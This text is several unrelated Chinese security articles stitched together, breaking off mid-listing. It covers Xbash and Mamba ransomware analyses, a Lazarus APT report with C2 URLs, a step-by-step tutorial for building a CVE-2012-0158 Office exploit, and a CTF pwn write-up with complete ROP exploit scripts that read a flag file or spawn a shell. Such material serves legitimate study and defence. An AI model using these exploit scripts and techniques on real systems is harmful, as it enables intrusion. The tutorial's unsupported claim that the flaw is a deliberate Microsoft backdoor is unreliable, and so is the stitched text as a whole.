这表明了攻击日期，目标ID和一些版本信息。
**APT恶意文件的删除过程**
在雅虎应急响应组织、JP-CERT/CC和日本其他一些安全机构的帮助下文件被成功删除。
下面是删除的文件。
**目标蒙古的APT活动**
用户gxpoy6包含了以蒙古为目标的APT攻击的数据。从它开始的时间为去年9月看，感染向量是相同的。许多工件和网络特征已经消失了，但是我们能分析下这个并作进一步对比。
第一个安装脚本没有使用base64混淆。
它使用VBScript但是不编码，且直接执行powershell.exe，然而执行进程自己和上面是相同的。
通过powershell.exe执行的编码的命令行有相同的格式。
蒙古语的文档
还是使用PowerSploit注入恶意软件到内存中，没有改变。
Shellcode设计的有点不同
蒙古相关的活动也使用了XOR，但是密钥（“0xd4”）不同，字节长度还是0x2183.
C&C服务器还是在中国，主机名稍后公布。
IP/BGP信息：116.193.154.28 | 116-193-154-28.pacswitch.net. | AS4766 |
JIULINGQIHANG-CN | CN (Room 413, No.188, Dong Han Men Nan Lu, CHINA) | 社区文章 |
本文翻译自：<https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/>
* * *
Xbash是一款融合了僵尸网络、勒索软件、加密货币挖矿蠕虫的恶意软件，可以攻击Linux和Windows设备。
# 技术细节
## 从python代码到原始可执行文件
早在2016年，Unit42研究人员就发现一个用python语言开发并、然后用PyInstaller转变成PE可执行文件的Windows恶意软件。而发现的4个Xbash版本中都用了同样的技术，这种技术的好处就是：
* 快速开发。比C、C++、Go语言开发的恶意软件相比，用Python语言开发的速度快和难度低，恶意软件可以快速迭代。
* 易于安装。PyInstaller创建了一个自包含的原生可执行文件，含有python运行库、用户和第三方库。考虑到Linux安装和环境的不同，攻击者不能完全保证基于python的恶意软件可以成功安装和运行。通过在自包含的原生可执行文件中打包，攻击者可以确保恶意软件能够成功安装在目标系统中。
* 反检测功能。PyInstaller的代码压缩、转化和可选的代码加密功能一起协作可以混淆恶意行为的一些暗示。混淆可以帮助恶意软件绕过反病毒和反恶意软件引擎以及静态分析技术的检测。截止目前， VirusTotal对Xbash的检测率为1/57。
* 跨平台恶意软件。PyInstaller支持为Windows、Apple macOS和Linux平台创建系统的python代码，这样恶意软件就真的可以跨平台运行了。
图1 VirusTotal对Xbash的检测
通过对恶意软件进行逆向，研究人员提取了Xbash可执行文件的主要恶意python模块，并成功进行了反编译。在后面的分析中，会有python源码。
# C2通信
Xbash硬编码了一些域名，将其作为C2服务器。还会从Pastebin获取一个web页面来更新C2域名列表。一些C2域名与之前Iron组织使用的Windows挖矿使用的域名相同。
所有的C2通信都是用HTTP协议，研究人员共发现三种C2流量：
* 取回IP地址和扫描的域名列表；
* 取回弱口令和硬编码的口令列表；
* 报告扫描结果。
下面三种类型的URI用于扫描目标：
* /domain/phpmyadmin或/domain/all: 获取扫描有漏洞和未受保护的web服务的域名列表；
* /port/tcp8080, /port/udp1900等: 获取扫描特定TCP/UDP端口的IP地址列表；
* /cidir：获取扫描的主流的端口或服务的IP地址的CIDR列表。
研究人员发现不同的请求会返回不同的结果，也就是说C2服务器会动态地将任务分到不同的僵尸主机。随机选择域名测试未发现有特定区域或行业的攻击目标。
图2 Xbash从C2服务器取回的域名
Mirai、Gafgyt这类僵尸恶意软件通常只扫描IP地址。Xbash代表了一种新型Linux僵尸网络，将目标扩展为IP地址和域名。
除了获取扫描目标的列表外，Xbash还会通过URL`/P`请求C2服务器获取暴力破解的弱口令列表。
Xbash在扫描目标并成功获取特定的开放端口、弱凭证、可漏洞的漏洞后，就会通过HTTP POST URI `/c`到随机的C2服务器来报告结果。
## 服务探测和暴力破解
如果扫描的目标是IP地址，Xbash就会尝试扫描TCP/UDP端口。下面是探测的一些服务和端口：
HTTP: 80, 8080, 8888, 8000, 8001, 8088
VNC: 5900, 5901, 5902, 5903
MySQL: 3306
Memcached: 11211
MySQL/MariaDB: 3309, 3308,3360 3306, 3307, 9806, 1433
FTP: 21
Telnet: 23, 2323
PostgreSQL: 5432
Redis: 6379, 2379
ElasticSearch: 9200
MongoDB: 27017
RDP: 3389
UPnP/SSDP: 1900
NTP: 123
DNS: 53
SNMP: 161
LDAP: 389
Rexec: 512
Rlogin: 513
Rsh: 514
Rsync: 873
Oracle database: 1521
CouchDB: 5984
对于VNC, Rsync, MySQL, MariaDB, Memcached, PostgreSQL, MongoDB,
phpMyAdmin这样的服务，如果相关的端口是开放的。就使用内置的弱用户名/密码词典来登陆服务，如图3所示。词典中含有Telnet、FTP、Redis这类服务的默认密码。
图3 Xbash尝试暴力破解服务
# 删除数据库和勒索信
如果Xbash成功登入了包含MySQL、MongoDB、PostgreSQL的服务，就可以从服务器上删除所有现有的数据库，创建名为`PLEASE_READ_ME_XYZ`的新数据库，并在新数据库的WARNING表中插入勒索信息，如图4和图5。
Send 0.02 BTC to this address and contact this email with your website or your ip or db_name of your server to recover your database! Your DB is Backed up to our servers!If we not received your payment,we will leak your database
1jqpmcLygJdH8fN7BCk2cwwNBRWqMZqL1
[email protected]
图4 Xbash创建的勒索信息
图5 Xbash创建的新数据库、表和勒索信息
如果Xbash成功登入phpMyAdmin服务，会通过phpMyAdmin会做与上面数据库中操作相同的行为，这是因为phpMyAdmin服务常被用于管理MySQL数据库。
需要注意的是Xbash使用的数据库名、表名、table schema、勒索信息等几乎与2016到2017年针对MySQL, MongoDB,
ElasticSearch, Hadoop, CouchDB, Cassandra, Redis, AWS S3的勒索攻击完全相同。Xbash中的变化为：
* 数据库名从`PLEASE_READ_ME`变为`PLEASE_README_XYZ`；
* 勒索的比特币值从0.2BTC、0.15BTC变为0.02BTC；
* 比特币钱包地址和邮箱地址变化了；
* 勒索信息中加入了：“如果不支付赎金，就泄露你们的数据”。
* 研究人员在Xbash样本中发现了三个硬编码的不同的比特币钱包地址。2018年5月起，共有48币交易，总收入0.964比特币（大约6000美元）。
图6 其中一个比特币钱包的收入交易
# 繁殖利用
当Xbash发现Hadoop, Redis或ActiveMQ的运行，就会尝试利用这些服务来进行自繁殖。已知的三个漏洞有：
* Hadoop YARN ResourceManager非认证的命令执行漏洞，2016年10月发现，无CVE编号；
* Redis任意文件写和远程代码执行漏洞，2015年10月发现，无CVE编号；
* ActiveMQ任意文件写漏洞，CVE-2016-3088。
图7 Xbash利用Redis漏洞
如果利用成功，Xbash会直接执行shell命令来下载和运行恶意shell或python脚本，创建新的cron任务来做图6中相同的任务。恶意脚本是从Xbash使用的相同的C2服务器上下载的。在其中一个实例中，其主要功能是杀掉主流的加密货币挖矿机，并下载Iron阻止开发的加密货币挖矿机，还会下载Xbash来进行自我繁殖。
# 感染Windows服务器
Xbash的另一个特征就是使用Redis和HTTP服务来确定在Linux或Windows中是否安装有漏洞的Redis服务。如果被扫描的目标既安装了有漏洞的Redis服务和运行的HTTP服务，Xbash会尝试用Redis漏洞泄露的信息来猜测HTTP
web服务器安装的位置。然后Xbash使用位置来猜测目标设备上运行的操作系统，如图7。
图8 Xbash用于确定操作系统的Web服务器路径
如果确定是Windows服务器，Xbash会利用Redis漏洞创建一个Windows开始菜单项而不是Linux定时任务，如图6。根据Xbash的版本，开始菜单项会从Xbash的C2服务器下载恶意HTML或Scriptlet文件，并通过`mshta`或`regsvr32`执行文件中的JS或VB脚本。这些脚本会唤醒PowerShell来下载恶意PE可执行文件或从C2服务器下载PE
DLL文件，如图9。
图9 在有漏洞的Windows服务器上执行的恶意JS代码
研究人员通过调查发现这些恶意PE文件是加密货币挖矿机或Iron组织开发的勒索软件，如图10。
图10 与恶意PE文件相关的AutoFocus
# 攻击企业内网
在发现的所有Xbash版本中，都有一个名为`LanScan`的python类。其功能主要是获取内网信息，产生相同子网内的IP地址列表，执行这些IP地址的端口扫描，如图11。
图11 生成受害者子网IP地址列表，并进行端口扫描
在企业网络中，一般都会有提供内部服务或公开服务的服务器。这些服务是未受保护的，或使用弱口令配置。在内网中找到有漏洞的服务的可能性比在外网中找出有漏洞的服务的可能性要大很多。
# 总结
Xbash是一个新型和复杂的Linux恶意软件，也是活跃的网络犯罪组织的最新杰作。基于其特征和行为，研究人员发现：
* 攻击者的获利方式除了加密货币挖矿外，还有劫持和勒索加密货币；
* 攻击者通过扫描域名和攻击企业内网来扩大“领地”；
* 攻击者通过收集更多的漏洞来寻找潜在的受害者；
* 不同类型的脚本文件是漏洞利用和恶意软件执行的重要部分。 | 社区文章 |
# 【木马分析】剖析Mamba-磁盘加密型勒索软件
|
##### 译文声明
本文是翻译文章，文章来源：blog.fortinet.com
原文地址：<https://blog.fortinet.com/2016/09/27/dissecting-mamba-the-disk-encrypting-ransomware>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **myswsun**
****](http://bobao.360.cn/member/contribute?uid=2775084127)
**预估稿费：170RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**
**
**0x00 前言**
另一个新的勒索软件已经加入文件加密的潮流中。只是这一次不是选择一些类型的文件加密，它直接用一个开源的工具DiskCryptor加密整个磁盘。
这个不是第一次出现磁盘加密类型的勒索软件。在早年，Petya勒索软件通过加密磁盘主文件表（MFT）恶意破环，使用户无权访问文件。不像之前的攻击，这个新的勒索软件完全加密整个磁盘，包括数据。除非支付勒索金否则系统完全不能用。为了匹配它的能力，他被命名为有毒的射的名字，曼巴。
本文调查了这个恶意程序的功能和技术。
**0x01 DiskCryptor安装**
深入到磁盘权限和加密将会非常的复杂。因此，直接写代码加密磁盘将很容易产生一个噩梦。因为这个原因，一个实用的方案是用一个第三方工具实现加密磁盘，实现简单，可靠的解密保护。幸运又不幸的是，有一个叫DiskCryptor的工具，这个工具提供了勒索软件需要的功能。它是一种偷懒的方案，但是很聪明。
安装的组件是该工具的gui版本。这个工具号称多种加密算法实现多层保护。
图1 DiskCryptor主界面和支持的加密算法
主程序没有参数（一个密码）不能完全执行。这个需要另一个组件来生成密码，但是我们还没有发现。因此在本文中用了一个假的密码测试。
一旦合适的密码被提供，Mamba通过安装DiskCryptor（安装在C:DC22）组件能很好的兼容32位和64位版本的环境。
图2 安装组件
为了持续性，可执行程被安装成一个“DefragmentService”的服务，password为参数。
图3 Mamba用一个测试密码把自己安装成一个服务
**0x02 在映射的网络磁盘上加密文件**
在全盘加密前，它也会加密所有映射的网络磁盘，进一步加大了破环程度。
显然，在比较老版本的系统上用“net use”命令枚举映射的网络磁盘。
图4 检查系统版本
对于新版的操作系统（Vista及之后的），有UAC特性。这个恶意程序通过计划任务运行“net
use”命令。这样就能在管理员和普通用户上下文下能更精确的映射的网络磁盘。为了访问密码保护的网络磁盘，可以使用一个免费工具（Netpass）。这个工具用来恢复存储在系统中网络密码。磁盘和网络密码列表被存储在“netuse.txt”和“netpass.txt”。
图5 在新老系统中执行“net use”
图6 以管理员和计划任务运行“net use”
图7 Netpass GUI模式
用之前创建的管理员账户提升权限执行mount.exe组件加密文件。这时，它用一个包含一系列异或和左移操作的自定义算法。提供给主程序的密钥是password的一部分。密钥的MD5哈希值在将它转化为字符串之前用微软的CryptoAPI来获得。为了增加复杂性，只有字符串的一半被用来加密。
图8 提权执行Mount.exe
图9MD5 string
图10文件加密过程
图11在映射的网络磁盘上加密文件
##
**0x03 全盘加密**
正如之前提到的，这个恶意程序的作者通过安装一个第三方工具来实现全盘加密，使得他们的工作变得简单。为了更加简单，作者把要加密的磁盘号硬编码在代码中，然后可以一个接一个加密他们。有个“-enum”的命令行可以用来枚举磁盘。
图12用dccon.exe –enum枚举磁盘
图13用dccon.exe和一个测试密码加密磁盘
图14硬编码参数
自定义的启动引导器用下面的命令行安装：
图15安装DiskCryptor引导启动
下一步，作者完成另一个技巧。用DiskCryptor的默认配置执行上述命令完成启动引导器安装。然后用“enter
password”提示用户输入密码。那么问题来了，勒索提示来自哪里呢？
我们观察主程序看到，如果用“-config”命令行，没啥迹象。输入密码的提示消息改变了；DiskCryptor组件dcapi.dll被直接修改。
图16被修改的dcapi.dll
似乎对于每个被感染的机器ID不是唯一的，对于所有的感染都只有一个密码。支持这个假设的证据是主程序没有任何C&C服务器功能或者从被感染的系统获取密码和ID，不过也可能是之前错过了一些组件。
强制重启，只留下了一段勒索提示，除非支付完否则机器一直被锁住。
在加密后用DiskCryptor观察发现XTS-AES算法被使用了。
图17加密磁盘的信息
图18在加密前后转储的数据
在引导启动器被安装后，加密磁盘，安装的服务休眠了5个小时——加密过程需要的最长时间。当完成后，不管加密过程完成与否在重启系统前恶意程序部分移除了痕迹和留下了DiskCryptor。这个说明加密非常大的磁盘将要花费超过5个小时的时间，部分加密将导致数据永久损坏。
图19 移除一些组件的过程
##
**0x04 总结**
发现一个全盘加密的勒索软件是比较稀少的。因为实用的原因。这个对于系统控制有一个更好的全局控制，因为它能导致整个系统无法使用。它是一个可怕的事实。然而，缓慢的加密过程掩盖了这些优点。因为这个原因，除非加密过程戏剧性的加快了，否则我们相信从基于文件类型的勒索软件向全盘加密的勒索软件转变的趋势不太可能。
然而，新的勒索软件的情况表明犯罪一直不停地创新加密方式，同事尝试用工具的新的方式使他们的活动更加简单。我们预计能在其他家族的勒索软件上面看到这种趋势，因为这个更简单方便。 | 社区文章 |
# 【技术分享】手把手教你如何构造office漏洞EXP（第一期）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **维一零** ****](http://bobao.360.cn/member/contribute?uid=32687245)
**稿费：700RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**传送门**
* * *
[**【技术分享】手把手教你如何构造office漏洞EXP（第二期）**
****](http://bobao.360.cn/learning/detail/3009.html)
[****【技术分享】手把手教你如何构造office漏洞EXP（第三期）**** **
******](http://bobao.360.cn/learning/detail/3049.html)
[**【技术分享】手把手教你如何构造office漏洞EXP（第四期）**](http://bobao.360.cn/learning/detail/3246.html)
**[](http://bobao.360.cn/learning/detail/3009.html)**
**前言**
近年来APT追踪盛行，常常可见各种以钓鱼开始的攻击，既有网站挂马式钓鱼，也有鱼叉式邮件钓鱼，本文所示的office漏洞CVE-2012-0158就凭借其经典、通用又稳定的漏洞利用经常出现在各种报告中，下面就来详细的讲解这个漏洞的原理，以及如何基于原理手动构造出可利用的POC样本，给大家弹一个计算器瞅瞅。
**
**
**漏洞原理**
关于本漏洞原理，网上有各种分析文章，一般都基于实例样本来定位漏洞的二进制代码并分析原理，这里不作详细的分析过程，直接给出漏洞成因，后面也有少部分的调试演示。这个漏洞发生在office的一个组件MSCOMCTL.OCX，多个版本office的该模块都存在这个漏洞，本文的测试环境均以WINXP+office2007为例。MSCOMCTL.OCX这个漏洞模块是office解析activeX控件用到的一个动态库，如果一个office文档中包含activeX这类控件元素的话，比如按钮、列表、树形控件等，当文档通过office打开时MSCOMCTL.OCX就会被自动载入office程序的进程空间被调用来解析和显示控件。
本漏洞属于经典缓冲区溢出漏洞里的栈内存拷贝溢出漏洞，当office解析到一个被构造好的控件（以ListView列表控件为例），会发生栈内存越界拷贝。以下栈回溯示意图可以代表本漏洞的发生过程：
可以看出，Excel在解析ListView控件的时候，读取并加载了控件的数据流，加载数据流的过程中会调用到一个内部函数ReadBytesFromStreamPadded，该函数的功能类似于memcpy内存拷贝函数，根据参数从指定内存拷贝指定大小数据到目标内存。但仔细往上跟踪就会发现，漏洞并不是出现在这个函数里，而是出现在CObj::load这个函数，下面分析一下这个函数如何出现的漏洞，先贴上IDA关于这个函数的伪代码：
int __stdcall CObj__Load(int a1, void *lpMem)
{
int result; // eax@1
void *v3; // ebx@1
int v4; // esi@4
int v5; // [sp+Ch] [bp-14h]@1
SIZE_T dwBytes; // [sp+14h] [bp-Ch]@3
int v7; // [sp+18h] [bp-8h]@4
int v8; // [sp+1Ch] [bp-4h]@8
v3 = lpMem;
result = ReadBytesFromStreamPadded(&v5, lpMem, 0xCu); //第一次正常拷贝，读取数据头
if ( result >= 0 )
{
if ( v5 == 'jboC' && dwBytes >= 8 ) //漏洞触发条件
{
v4 = ReadBytesFromStreamPadded(&v7, v3, dwBytes); //第二次拷贝，此处调用必然越界
if ( v4 >= 0 )
{
if ( !v7 )
goto LABEL_8;
lpMem = 0;
v4 = ReadBstrFromStreamPadded((UINT)&lpMem, (int)v3);
if ( v4 >= 0 )
{
CObj__SetKey((BSTR)lpMem);
SysFreeString((BSTR)lpMem);
LABEL_8:
if ( v8 )
v4 = ReadVariantFromStream((struct tagVARIANT *)(a1 + 20), (struct IStream *)v3);
return v4;
}
}
return v4;
}
result = 2147549183;
}
return result;
}
CObj::Load，顾名思义，是CObj对象加载的方法，需要从内存里读取对象数据，所以一开始便从数据流里读取了0x0c个字节到临时变量v5中。接着判断v5的前4个字节是否为"Cobj"来检测是否为要加载的对象类型，并且dwBytes这个变量如果大于8才进行下一步的加载。注意到，dwBytes
这个变量是读取那0x0c个字节的时候一起读取进来的，因为从IDA的变量备注中可以看出dwBytes
=[bp-0x0c]落在v5=[bp-0x14]和v5+0x0c=[bp-0x08]的内存区间中，所以这里的一个关键是dwBytes的值可以通过修改数据流被控制。再看下一步，同样从原来的数据流读取dwBytes个字节到临时变量v7中，v7=[bp-0x08]，而dwBytes此时却大于8，所以这个读取拷贝必然会覆盖ebp，发生越界拷贝，形成栈溢出漏洞。根据此分析可以推测，正常情况从控件数据读取出来dwBytes值不会大于8，因为如果大于8的话必然导致栈拷贝异常，那么这个漏洞早就被测试出来了。而且通过IDA里查看此函数的交叉引用会发现，这个函数似乎作用并不大，都是在加载特定几个控件的开头被调用了一下。所以，我怀疑这个漏洞不是所谓的严重的失误，把本来的小于8写成了大于8，就是微软故意留下来的后门漏洞。
**
**
**构造触发漏洞的POC**
经过上面的原理分析，office在解析ListView控件时调用了漏洞函数CObj::Load，该函数在加载CObj对象时根据可被篡改的dwBytes读取指定大小的内存数据到8字节的临时变量，且校验大小时存在后门嫌疑，导致可被利用的缓冲区溢出漏洞。为了检验我们的分析是否正确，下面我们参考上面的栈回朔图构造可触发此漏洞的Excel文档。
首先Excel文档里需要存在一个ListView控件，可以通过Excel软件里面的开发者工具添加，添加完后相当于文档里嵌入了一个空的ListView对象。
接着，还需要往这个对象里面添加ListItems以及ListItem子对象，这样就能使Excel程序调用到CObj::Load函数。但是这里有个问题，ListItem对象无法直接通过Excel操作添加，Excel只能通过ListView控件的属性添加列表标题，没有直接办法添加列表内容。解决办法是通过编写Excel支持的VBA程序代码，编译生成一个ListItem对象。但是这样带来另外一个问题，就是如果文档里边存在VBA这类宏代码，Excel会默认禁止代码执行，这样依旧解析不到ListView控件里的ListItem对象，一个简单的解决办法就是先写好代码编译运行后生成了初始化好的ListView控件，再把所有的生成代码删除后保存即可，因为宏代码会被阻止执行而控件对象不会被阻止解析。
下一步，只要将保存好的文档通过十六进制编辑器打开，定位到CObj对象的数据，修改偏移量为8的dwBytes值为大于8的数值就能触发漏洞。事实上只修改那一个值还无法看到漏洞触发的效果，原因是拷贝函数ReadBytesFromStreamPadded还会接着校验dwBytes的值，幸运的是该校验只是从要拷贝的数据头部读取另一个dwBytes的值，检验两个值是否相等，所以我们只需要把对象数据里的那个数值也修改成相应的大小就可以通过校验从而触发漏洞。
触发漏洞后，由于我们只是简单的用一些随机数据覆盖ebp和相关函数返回地址，所以Excel最终优雅的返回一个我们想要看到的程序错误提示框。
**
**
**漏洞利用**
现在，我们得到了一个可以触发的栈缓冲区溢出漏洞，下面要怎么利用这个漏洞来做一些事情就各显神通了，本文还是给大家弹个计算器来抛砖引玉。
通过上面构造的POC，我们可以修改两个dwBytes的值和后面的数据来控制运行栈的内存布局。为了更好的编排数据，最好通过调试样本去动态修改数据以达到目的，最后只要将内存里编排好的数据拷贝到文档对应的部分即可。而调试过程中，我们的第一目标自然是获取程序控制器，控制eip，这里一般是通过覆盖函数返回值或SEH链指针来实现。由于MSCOMCTRL.DLL没有开启GS保护，我们采取最简单的覆盖函数返回值即可控制eip。然而，为了使程序顺利的走到返回值，我们还需要修改数据，满足一些返回条件，控制程序流程，使之不进入复杂的函数或指令操作集，避免因栈被破坏导致一些异常的发生。
一旦程序顺利到达返回地址，我们便可以根据运行环境做各种事情，比如构造一个rop链绕过dep保护，或者直接跳转到栈空间执行代码，这些对于一个熟悉漏洞利用的人来说都是轻车熟路了。这里有个需求，就是栈内存数据需要有足够大小的空间来容纳无论是rop链还是shellcode，所以需要增加一下ListView控件的数据规模，简单的方法就是添加ListItem的时候把字符串写的足够长。
当所有的必要条件都具备的时候，我们的代码就可以放进栈里执行了，这里我简单使用一个通用的跳转地址直接跳转至栈内存代码执行，由于XP+office
2007默认不开启dep保护，所以我的环境可以顺利弹出计算器。
关于更多的需求比如如何编写rop链绕过office2010以上默认开启的dep保护，我将会在接下去其他的漏洞分享中陆续展开。另外，限于本文是文稿形式，更详细的视频演示也可以访问本人的博客地址（搜索维一零小站）进行参考。
**
**
**总结**
通过本文详细的分析，我们了解到这个漏洞的原理和危害性，由于MSCOMCTL.OCX是基础动态库，影响的应用软件自然比较多，除了office全套装外，sql和其他第三方应用软件，只要存在使用该漏洞库的地方，都有可能被利用。而利用的方法和本文一样，都离不开漏洞的原理，构造的“畸形”数据必须要通过漏洞函数的检验流程，才能最终绕过程序本身的限制，夺取程序的控制权。
************
**
**
**传送门**
* * *
[**【技术分享】手把手教你如何构造office漏洞EXP（第二期）**
****](http://bobao.360.cn/learning/detail/3009.html)
[****【技术分享】手把手教你如何构造office漏洞EXP（第三期）**** **
******](http://bobao.360.cn/learning/detail/3049.html)
[**【技术分享】手把手教你如何构造office漏洞EXP（第四期）**](http://bobao.360.cn/learning/detail/3246.html)
**[](http://bobao.360.cn/learning/detail/3009.html)**[](http://bobao.360.cn/learning/detail/3009.html) | 社区文章 |
# APT-C-26（Lazarus）组织伪造电商组件攻击活动分析报告
##### 译文声明
本文是翻译文章
原文地址：<https://apt.360.net/report/apts/211.html>
译文仅供参考，具体内容表达以及含义原文为准。
APT-C-26 Lazarus
2022年上半年，360高级威胁研究院发现了来自Lazarus组织的攻击活动，本次攻击活动伪装为Alibaba相关组件进行攻击，载荷组件与NukeSped家族相关，后续载荷以窃取目标相关文件信息为主，可以推断是针对特定领域或者人群进行的攻击行动，本次攻击行动针对性强、隐蔽性强，目前视野内中招用户涉及韩国软件企业Hancom
Secure相关。
1.攻击流程
该组织利用伪造Alibaba相关程序并注册服务实现伪造组件的持久化，涉及伪造组件alibabaprotect.db、alibabaconf.bat，伪造组件释放后续载荷HttpUploader，实际主要为根据载荷参数上传用户特定目录下文件信息。值得注意的是连接C&C地址与上传目录均以参数形式传递至伪造组件，以达到关键信息与载荷分离目的。
2\. 样本分析
MD5b25f1917d45fd0db2c82feb239b9e69eFileNamealibabaprotect.dbPDBW:\Develop\Tool\HttpUploader\HttpPOST\Pro\\_BIN\RUNDLL\64\sqlite3.pdb样本调用rundll32执行，参数有6个，分别由载荷名、固定编码、C&C、本地上传路径等元素构成。
样本功能集中在导出函数sqlite3_connect；
申请堆空间，在申请的堆空间拷贝标志字符串“a ”（0x6120）；
解析Unicode命令行字符串并返回指向命令行参数的指针数组。
判断传入参数1是否为大于等于6，且argv+8取地址获取到参数（S0RMM-50QQE-F65DN-DCPYN-5QEQA）判断长度是否为29，满足条件则继续执行。
读取下阶段载荷并解密，解密算法如下，第二阶段载荷通过XOR解密，载荷从末尾开始的每个字节都移动至前一个字节。
对v16前两个字节赋值0x8406：
根据传入case 参数6 执行函数，函数参数1为解密的后续载荷、参数2为载荷长度，参数3(v16)为C2地址。
获取当前进程页面大小并申请空间释放下一个阶段的载荷，并跳转至程序入口点。
参数1为二阶段载荷地址，参数2为0x1，参数3为C&C地址。
第二阶段载荷分析申请空间并传入C2字符串，判断前面2个字节是否为0x8406。
二阶段执行后会创建一个线程，参数为C2。
代理设置Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64;
Trident/7.0; .NET4.0C; .NET4.0E)。
访问请求地址[http://www.stracarrara[.]org/public/photos/image/image.asp，获取数据。](http://www.stracarrara%5B.%5Dorg/public/photos/image/image.asp%EF%BC%8C%E8%8E%B7%E5%8F%96%E6%95%B0%E6%8D%AE%E3%80%82)
CreateFile 打开文件c:\ProgramData\Alibaba\cfpconfg.out文件并读取。
判断是否有读取到文件，读取到文件跳转至http相关函数发送至C2，没有读取到文件则退出程序。
继续跟进可以发现后续请求格式。
3\. 关联分析
本次Lazarus行动，关联至NukeSped家族，大多数加载NukeSped的恶意软件都会检查命令行参数，并且只有在给出预期参数时才继续执行恶意程序。这是该恶意软件家族加载程序中的一个常见特性。本次伪造载荷加载由6个参数组成，与之前披露的参数数量是一致的，第二个参数固定为字符串S0RMM-50QQE-F65DN-DCPYN-5QEQA，第三个参数为C&C地址，第四个参数为本地上传路径。
当执行解密的内存有效载荷时，它会将传递的配置数据的标头与字符串“ 0x8406”进行比较，与之前披露的NukeSped特征相同。
后续请求格式与NukeSped字符串特征相同
解密算法与之前披露的NukeSped解密后阶段载荷相似，通过XOR解密，载荷从末尾开始的每个字节都移动至前一个字节。
在分析同目录样本过程中发现有利用服务启动Mimikatz解密的操作，服务名为PCAudit，推测解密后的数据为载荷参数中本地将要上传的文件，之前披露的NukeSped组件也存在利用Mimikatz解密的操作。
##
总结
APT-C-26（Lazarus）组织本次攻击目的明确，攻击手段隐蔽性强，C&C与上传路径均以参数形式传递，并且后续载荷不落地，完全在内存中运行。本次攻击行动第一目标是以收集有价值信息为主，在进行针对性信息收集工作完成后不排除有相关后续行动，需要引起足够重视。
附录 IOC
##
MD5b25f1917d45fd0db2c82feb239b9e69eF96C39248A93E1248C623F991C5DD8AA
URL
http://www.stracarrara[.]org/public/photos/image/image.asphttps://www.namchuncheon.co[.]kr/html/notice/list.asp31.11.32[.]79:8059.30.197[.]202:443
参考
##
<https://securelist.com/lazarus-threatneedle/100803/> | 社区文章 |
接着上一篇，我们继续来看看hackme.inndy中的骚pwn题
# rsbo1、2
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled***
PIE: No PIE (0x8048000)
这两题的文件都一样的，只不过cat到的flag不同
主要的漏洞点出在这里：
解法做法有很多，
第一种做法是，利用open，read，write函数把`/home/ctf/flag`中的flag打印出来
第二种是直接getshell，得到`/home/ctf/flag`的flag和`/home/ctf/flagxxxxxxxx`的flag（分别对应rsbo1和rsbo2的flag）
用第一种方法的话
exp是这样的：
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level="debug"
#p = process('./rsbo1')
p = remote('hackme.inndy.tw', 7706)
elf = ELF('./rsbo1')
start = 0x08048490
open_plt = elf.symbols['open']
read_plt = elf.symbols['read']
write_plt = elf.symbols['write']
log.info("open_plt -->[%s]"%hex(open_plt))
log.info("read_plt -->[%s]"%hex(read_plt))
log.info("read_plt -->[%s]"%hex(write_plt))
bss = elf.bss()
offset = 108
flag_add = 0x80487d0
payload = '\x00'*offset + p32(open_plt) + p32(start) + p32(flag_add) + p32(0)
p.send(payload)
payload1 = '\x00'*offset + p32(read_plt) + p32(start) + p32(0x3) + p32(bss) + p32(0x60)
p.send(payload1)
payload2 = '\x00'*offset + p32(write_plt) +p32(0xdeadbeef) + p32(1) + p32(bss) + p32(0x60)
p.send(payload2)
p.interactive()
这里有几点需要注意的：
* 程序中flag的路径是`/home/ctf/flag`，但我们本地是没有的，需要自己创建或者打path修改
* 注意fd = 0时代表标准输入stdin，1时代表标准输出stdout，2时代表标准错误stderr，3~9则代表打开的文件，这里我们只打开了一个文件，那么fd就是3
* 在栈溢出填充ret_addr的时候，不能用main作为返回地址，要用start才能成功
* 在填充垃圾字符串的时候，用\x00为了覆盖v8，绕过for循环，否则我们构造的rop链就会被破坏
用第二种方法一起搞定rsbo12的话，就需要直接getshell
getshell的话也有多种做法
下面这种是最简单的，直接用多次返回start，调用函数进行getshell
但这个问题就是，本地怎么打都不通，远程一打就通，醉了醉了
exp如下：
#encoding:utf-8
from pwn import *
context(os="linux", arch="i386",log_level = "debug")
ip =""#hackme.inndy.tw
if ip:
p = remote(ip,7706)
else:
p = process("./rsbo1")
elf = ELF("./rsbo1")
libc = ELF("./libc-2.23.so.i386")
#libc = elf.libc
#------------------------------------- def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#------------------------------------- write_plt = elf.plt["write"]
write_got = elf.got["write"]
read_plt = elf.plt["read"]
read_got = elf.got["read"]
bss =elf.bss()
write_libc = libc.symbols["write"]
start = 0x08048490
binsh_libc= libc.search("/bin/sh").next()
log.info("bss--->"+hex(bss))
payload ="\x00"*108+p32(write_plt)+p32(start)+p32(1)+p32(read_got)+p32(4)
sd(payload)
read = u32(p.recv(4))
log.info("read--->"+hex(read))
libc_base = read - libc.symbols["read"]
system_addr = libc_base +libc.symbols["system"]
sleep(0.5)
payload2 = "\x00" * 108 + p32(read) + p32(start) + p32(0) + p32(bss) + p32(9)
payload3 = "\x00" * 108 + p32(system_addr) + p32(start) + p32(bss)
sd(payload2)
sl("/bin/sh\0")
sd(payload3)
getshell()
第二种方法就是用栈迁移和_dl_runtime_resolve的方法，有的大佬用的是这种方法，网上搜一下应该能找到的
ps:寻找常用rop gadget 的命令：
'''
ROPgadget --binary ./rsbo1 --only "mov|xor|pop|ret|call|jmp|leave" --depth 20
Gadgets information
============================================================
0x080483b0 : call 0x80484c6
0x080484f6 : call eax
0x08048533 : call edx
